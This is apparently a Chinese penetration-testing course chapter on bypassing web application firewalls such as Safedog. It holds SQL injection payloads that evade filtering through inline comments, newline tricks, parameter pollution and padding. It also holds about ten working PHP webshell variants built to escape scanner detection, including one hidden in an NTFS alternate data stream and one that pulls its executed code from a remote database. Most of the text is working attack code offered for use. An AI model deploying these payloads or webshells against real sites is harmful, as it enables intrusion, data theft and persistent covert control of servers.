9.1 BYPASS 绕waf(上)

9.1.1 什么是waf?

WAF是一个缩写,他的全名叫做Web应用防护系统(Web Application Firewall),是通过通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

在互联网快速发展的今天,网站安全问题屡见不鲜,于是乎WAF类产品开始走红。

WAF有硬件类型的也有软件类型的,但是其实在我看来,从绕过WAF机制上来说,区别不大。我们一般渗透测试都会遇到软WAF,因为硬件WAF价格有点昂贵,正常企业不会购买,所以基本上是GOV站点或者国网、运营商等国企才会大规模装配。

来看看常见的软WAF,常见:安全狗、云锁、悬镜、护卫神、云盾

9.1.2 Bypass是什么?

Bypass他就是绕过的意思呀,我们渗透测试人员通过特殊语句的构建进行渗透测试,然后达到绕过WAF的手法

9.1.3 WAF检测机制

WAF检测机制其实很简单,核心就是正则匹配,(就是你们学过的正则匹配),虽然说还有字符串强行匹配,还有什么语义解析,但是实际上还是正则居多。

拿一个CMS的自带防护机制给你们看。

文档截图

通过正则匹配,符合规则就拦截。

有些时候我们在进行测试的时候,被拦截了,其实并不一定是waf,也有可能是开发人员用语句过滤的,向上数的代码段,过滤了很多危险语句,如sleep,load_file之类的。

有很多绕waf的手法,如大小写,或编码等手段。

9.1.4 模拟靶场(安装安全狗)

首先我们看界面id传参为1,是正常的。

文档截图

然后我们对其是否存在sql注入进行判断。当我们在后边拼接入and 1=1 时我们发现安全狗起了作用。对我们进行了拦截。

文档截图

那么既然安全狗拦截了,我们首先来判断,他究竟是拦截了and ,还是拦截1=1?我们把and删除试一试。发现并不拦截了。

文档截图

那我们再把1=1删除试一试,看看是否拦截。我们发现它也不拦截了。

文档截图

由此我们可见她并不拦截单独的and 或者1=1,但是当二者拼接到一起时,他就进行了拦截。

记住一句话,安全和客户体验都是需要平衡的,特别是对于WAF而言,你想想,用了WAF之后,然后网页动不动就拦截,比如我是用户,然后因为我用户名叫and然后我就被拉黑了,因为我不小心输了个'页面就出问题,这个当然不可以,所以WAF一般都是通用的,并不是单独定制的,既然是通用的,那么他在拦截上会比较谨慎,所以WAF的正则一般是搭配式的。

那么既然只有当二者在一起的时候才会被拦截,那我们是否可以尝试将and 1=1 二者其中之一进行替换,是否可以绕过。

我们可以尝试将1=1换成2=2,看看其是否拦截。我们发现2=2也被拦截了。

文档截图

那正数被拦截了,我们再来尝试负数可不可以呢

文档截图

然后我们发现安全狗有点傻,当我们写入-1=-1时他就不拦截了,然后我们尝试一下-1=-2.

然后我们发现-1=-2的时候,显然界面返回不正常了,所以我们可以断定,这里存在sql注入。

文档截图

这里我们也可以看出,index.php/1.txt?id=1 and 1=1 这种情况已经绕不过去了

文档截图

之前我们在1=1上面做文章,如今我们可以尝试在and上面做做文章。

之前我们在1=1上面做文章,如今我们可以尝试在and上面做做文章。我们在数据库里尝试我们就会发现逻辑运算符&是可以替换 and的。

文档截图

那我们在url栏里也尝试一下用&来代替and,进行绕过。我们发现当我们使用&代替and 时真就可以成功绕过了。

文档截图

但是当我们写入1=2 的时候他也返回正常,难道是这里不存在sql注入了吗。

文档截图

其实并不是,因为url栏里的&正常是用来连接传参的。比如这样正常的话我们如果对界面传两个参数,会优先执行第二个,因为&有这样一个作用,所以这里的系统就分不清楚了。

文档截图

所以我问应该先将&进行url转码,然后在进行上传。

&==>%26

文档截图
文档截图

然后我们发现上传1=1 1=2的界面开始出现不同了,1=2的时候开始界面返回报错了。

文档截图
文档截图
文档截图

其实我们还可以尝试,加减乘除等运算,如果可行都可以判定sql注入的,加减乘除的判定都要是整型,不能有单双引号。

9.1.5 常见绕WAF手法

当有字符类型限制我们就无法用加减乘除校验了,如果限制了智能用字符串类型。我们就可以使用16进制来进行绕过。

我们既然知道WAF通过正则匹配,那么你们第一个反应就是,替换函数对不对

例如:id=1 and 1=1

WAF对and 进行了拦截,那么我们是不是得尝试找到替换and的东西,那么运算符就能帮上我们,例如:&

但是输入时候我们发现如果只写 and 是不会被拦截的,那么我们想办法改一改1=1,可以试试-1=-1

甚至例如直接传参,我使用加减符号,乘除符号运算,或者是字符串传参直接用16进制也可以绕过这个傻狗

判断是否存在注入之后,我们要对其进行进一步注入。在这里我们可以省略order by的步骤直接进行联合查询,找输出点。但是union select 作为sql注入的语句,显然也是被拦截的。

文档截图

联合查询作为注入的重要步骤,是不可缺少的,但是还找不到可能替换的语句我们应该怎么办呢。首先我们来看看到底拦截的是union,还是select。

文档截图

显然union,select单独出现都没有问题都不会被拦截,所以还是他们组合出现才会被拦截。

文档截图

这里union all select 也被拦截了。

文档截图

9.1.6 内联注释

/*...*/叫做数据库注释

在这里要讲一个东西叫做内联注释。

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!...*/中,

这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。

普通注释/*...*/不可执行

内联注释/*!...*/可执行

很明显如下图我们可以看出,第一次普通注释内的语句我们没有执行,导致查询成功。

而第二次的内联注释内的语句我们执行成功了,导致语句执行成功,查询失败。

文档截图

/*!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行。但是版本号是不能乱写的,如我写成50就无法执行了。

文档截图
文档截图

然后我们用此方法对网站进行测试。发现还是被拦截了。

文档截图

于是我们加上版本号对其在进行测试下。

文档截图

我们发现加了版本号还是不行,那么这个版本号不行,别的也不行吗,我们用burp跑一下版本尝试一下,看一下是否有可以的版本。

文档截图

我们发现跑出了很多版本,是可以的。

文档截图

于是我们打入正确版本号10441 成功绕过。

文档截图
文档截图

本地环境(对from admin 不拦截)

可以直接出数据了。

文档截图

视频中

当我们继续进行的时候返现一旦写入语句

http://192.168.78.133/index.php?id=1 union /*!10441select*/ 1,2,3 from admin

的时候安全狗就开始对(from admin)拦截了。

我们要尝试将其绕过

?id=1 union /*!10441select*/ 1,password,3 -- qwe/*%0a

from admin limit 1,1%23*/

这里我们使用了两种绕过方式,分别是注释和特殊字符,这里的绕过原理就是通过 -- qwe 注释掉后边的/*注释仅能单行,%0a实现换行,因为 -- qwe只能注释当前行,再用%23注释掉*/。

?id=1 union /*!10441select*/ 1,password,3 from admin limit 1,1

其实最后执行的语句就是这样。成功绕过。

安全狗觉得我们写在数据库注释里面的语句是没有威胁的。

而写在内联注释里的东西是能执行的,并不会当作安全语句放行。

我们同样可以将前边内联注释方法的语句也换成(特殊符号%0a + 数据库注释/**/)的方法也可以绕过。

http://192.168.78.133/index.php?id=1 union -- qwe/*%0a select 1,password from admin limit 1,1%23*/

文档截图

还有一些特殊的函数绕过,如sleep前面加反引号(不是单引号,键盘左上角~下边的符号),我们是可以实现绕过的。一般可以用这种方法的函数有sleep,updatexml等

文档截图

我们在sleep 两侧打上反引号可以发现浏览器开始转圈了,则说明我们的注入生效了。

文档截图
文档截图

常见手法:

大小写绕过 (很老的WAF才有用)

替换绕过 (很老的WAF才有用)【和上传文件那个pphphp一样】

特殊字符绕过 (%0a换行)``

编码绕过 (比如会多次解码的东西,例如我们DOM XSS绕狗那个)

等价替换 (利用其它函数替代)[union #%0aselect 拦截][union all #%0aselect 不拦截]

容器特性(例如Apace的Hpp,或者是IIS的%分割)(IIS特性:s%e%l%e%c%t)(Apache特性:id=1&id=2会执行后边的参数)

参数污染,同时对其传两个参,他会接受第二个传参。当我们以如下方式进行传参的时候,安全狗只会识别到id=1,再向后识别到/*时,他会认为数据库注释的内的语句都是安全的,所以就不再向解析了,但是数据库中执行的确实第二个参数.

http://192.168.78.133/index.php?id=1/*&id=2%23*/

文档截图

我们可以以同样的方式(参数污染)对其进行进一步渗透。

可同样实现绕过。

http://192.168.78.133/index.php?id=1/*&id=2 union select 1,password from admin limit 1,1%23*/

文档截图

白名单(管理员权限或者是127.0.0.1本地访问不拦截(尝试X-Forward-For修改ip)(ssrf这种服务器自己请求自己的情况也不会拦截,一般不过外部防火墙))

缓冲区(数据太多了,超出了WAF检测的范围)

将get传参方式改成post,然后再注入语句前填入大量无用语句,占用空间,使其无法检测到最后的注入语句,从而达到注入效果。安全狗的语句大概要添加4000个字符左右。

9.2 Bypass绕waf(web shell(网站权限))

一句话木马<?php eval( $_REQUEST[‘a’])?>

首先我们在靶机上留下一个一句话木马。

然后对其访问发现被网站防火墙拦截了。

文档截图

那么我来探测一下他到底拦截的是什么?

当我们只写入:

<?php eval ()?>

的时候发现他并不拦截。

文档截图

当我们写入

<?php eval ($_REQUEST)?>

发现也并不拦截

文档截图

那么我来探测一下他到底拦截的是什么?当我们只写入:

<?php eval ($_REQUEST[])?>

发现被拦截了。

文档截图

所以我们可见eval函数里不能出现’[]’中括号,所以我们这里想办法进行替换。

=>替换eval 或者替换=> $_REQUEST[‘a’]

首先我们来尝试一下eval以外的其他函数,看看是否可以。

我们使用另一个代码值执行的函数,发现还是被拦截了。

文档截图

$_REQUST 实际上是一个超全局变量,其实其内存中时则是一个数组。当我们对其传参的时候就会发现。

文档截图
文档截图

但是由于eval执行的东西一定要是字符串,这里我们就要思考,如何选中数组又用不到中括号。这里我们引入一个函数。

end()函数:输出数组的当前元素和最后一个元素的值。

<?php var_dump(end($_REQUEST));?>

于是这样我们既没有使用中括号还获取了传参的值。(如下图)

获取了最后一个传参的值

文档截图

我们以此end(函数)写入一个马,并对其传参,end将会获取第二个参数值。

<?php eval(end($_REQUEST))?>

我们对其第二个数传参phpinfo();然后我们发现我们传参成功,并访问成功。

文档截图

当我们用安全狗扫描的时候,我么们发现我们之前新建的木马找不到了在扫描木马的个数是0。

说明我们的马已经绕过了安全狗。

文档截图

这样的木马我们直接连菜刀就可以,但是其没有密码。

文档截图
2.常量定义绕狗

通过常量定义,写入语句:

<?php define("a","$_REQUEST[a]");eval(a);

原理:通过define定义一个常量a,并通过request的方式来接收传参,并对其进行执行,可见我们成功的绕过了安全狗。

文档截图

我们可以直接上菜刀对其连接。

文档截图

我们发现我们再用安全狗去扫面描木马已经扫不到了。

文档截图
3.通过字符串拼接 + 双美元符号

通过字符串拼接 + 双美元符号

<?php

$a='ass';

$b='ert';

$funcName=$a.$b; //assert

$x='funcName';

$$x($_REQUEST[1]); // $$x($_REQUEST[1]) =>

$funcName($_REQUEST[1]) =>

assert($_REQUEST[1])

原理:通过字符串的拼接,简介实现requet接受传参,进行绕狗。这里使用的执行函数是assert,他和eval的作用是一样的,但区别在于php中不允许拼接eval,所以我们只能拼接assert。

我们这里对其传参,phpinfo();可见执行成功,可见这里我们绕过了安全狗。

*注:这里我们发现不仅字母能作为变量传参,数字也是可以的,如数字1在这里就作为变量进行传参了。

还有在上传木马的时候,超全局变量尽量写成request,因为post或者是get可能会出现连接不上猜到的情况。

文档截图

这里传参成功之后我们直接连接菜刀即可。

文档截图

在这里我们可见我们用狗扫码是扫不到的。

文档截图
4.通过函数定义强行分割

通过函数定义强行分割

<?php

function a($a){

return $a;}

eval(a($_REQUEST)[1]);?>

在这里我们是通过定义一个函数强行分割实行绕过,其实这个函数有一个变量a,返回的也是a,其实这个函数什么都没有做,没有什么实际意义,只是为了将$_REQUEST和[]分开来,因为这样安全狗不会拦截,将他们放在一起,会被安全狗拦截,只有将它们分开才不会拦截。

文档截图
文档截图

可见这里我们传参成功,绕过了安全狗。

文档截图

在这里之后我们可以直接用菜刀进行连接了,密码为1.

文档截图

这里我们用狗扫一下,发现根本扫不出来的。可见我们以经绕开了。

文档截图
通过类定义,然后传参强行分割

通过类定义,然后传参强行分割

<?php

class User

{

public $name = '';

function __destruct(){ //当一个对象被销毁的时候就会被自动调用

eval("$this->name");

}

}

$user = new User;

$user->name = ''.$_REQUEST[1];

?>

原理:通过传参赋给name值然后去执行,其实也是为了分割。

文档截图

我们对其传参成功,可见我们已经绕过了安全狗,然后我们对其进行菜刀的连接。

文档截图

然后我们用安全狗去扫描,发现并没有发现木马,可见我们已绕过了狗。

文档截图
6.多方式传参免杀

<?php

$COOKIE = $_COOKIE;

foreach($COOKIE as $key => $value){

if($key=='assert'){

$key($_REQUEST['a']);

}

}

?>

这里使用了cookie传参绕过的方式,首先我们用一个cookie的变量接收$_COOKIE传参,因为$_XXXX获取的东西都是数组,这这里我们对其进行键值分离,如:我们cookie传参一个a=1,那么我们进行见着分离的结果就是$key=a $value=1,然后我们对其进行一个遍历,并进行判断如果键名为assert,那么就执行语句 $key($_REQUEST['a']);

这条语句其实就相当于

==> assert($_REQUEST['a'])。

切记上传完木马之后,若想执行生效,一定要在cookie传参中传入以assert为键名的值,才能触发。

我们传参成功,成功绕过安全狗,切记一定要带上cookie传参,assert。

文档截图

这里我们用狗扫描也没扫出来,说明我们已经绕过了安全狗。

文档截图

传参成功之后直接上菜刀就行了。(有时连接不上,清缓存多进行连接就好了)

文档截图

7.

<?php

$a=get_defined_functions();

$a['internal'][841]($_REQUEST['a']);

原理:返回所有已经定义的函数,因为get_defined_functions()时返回所有被定义的函数,所以我们将它输出一下可以看到好多函数。这里都是php自带的函数,这里返回的是一个二维数组,这数组里的每一个值都是一个php的函数,所以我们可以通过数组的筛选,选出执行函数assert,$a['internal'][841]=>assert,然后将其与后边的($_REQUEST['a'])合并,从而实现了一句话木马的效果。

$a=get_defined_functions();

var_dump($a);

因为get_defined_functions()时返回所有被定义的函数,所以我们将它输出一下可以看到好多函数。这里都是php自带的函数,这里返回的是一个二维数组,这里的每一个值都是一个php的函数,

文档截图

可见我们选择数组的['internal'][841]的元素,就是assert函数于是我们就实现了一句话的效果。

文档截图

这里我们传参phpinfo();成功,并绕过了安全狗。

文档截图

这里我们直接连接菜刀成功了。

文档截图

这里我们用狗进行扫描,发现安全狗并没有发现我们的一句话木马。

文档截图

8.拿到shell之后藏shell的妙招(防法仅用于windows)

拿到shell之后藏shell的妙招:ntfs文件流

<?php include('/:27.txt')?> + echo "<?php eval($_REQUEST[a])?>" >> /:27.txt

拿到cmd权限之后,可以在其网站藏马。我们在命令行,网站根目录下写入

echo "<?php eval($_REQUEST[a]);?>" >> /:27.txt

实际上我们已经将一句话木马写入27.txt文件中,但是我们查看目录发现我们并没有查看27.txt文件。

然后我们怎么调用这个木马呢,我们新建一个php文件,写入<?php include('/:27.txt')?>。

便可将这个木马包含进来,放我们传参phpinfo();密码为a,即可生效。

文档截图
文档截图

直接连接菜刀即可生效。

文档截图

放狗扫描无风险。

文档截图
9.绕过市面上所有WAF(终极手法)

<?php

eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','maoshe'),'select * from info'))['info']);

原理:首先连接数据库,实战的话一般连公网的数据库。找到数据库中info表中的数据并执行它。

这里我们在服务器上建立一个叫moshe的数据库,在库中建立一个名叫info的表,表中的第一条数据为eval($_REQUEST[a]);

我们在木马中留的语句作用就是连接远程数据库并查询表中的数据,并执行,从而实现了一句话木马的效果。成功绕过waf。

文档截图

放狗可扫,扫不到。

文档截图

菜刀可连。

文档截图

10.<?php if($_SEVER[‘HTTP_USER_AGENT’] === ‘1’)

{

eval(end($_REQUEST));

}

?> 同样的木马我们改良一下或许加个if判断,加个for循环就探测不到了。

文档截图
文档截图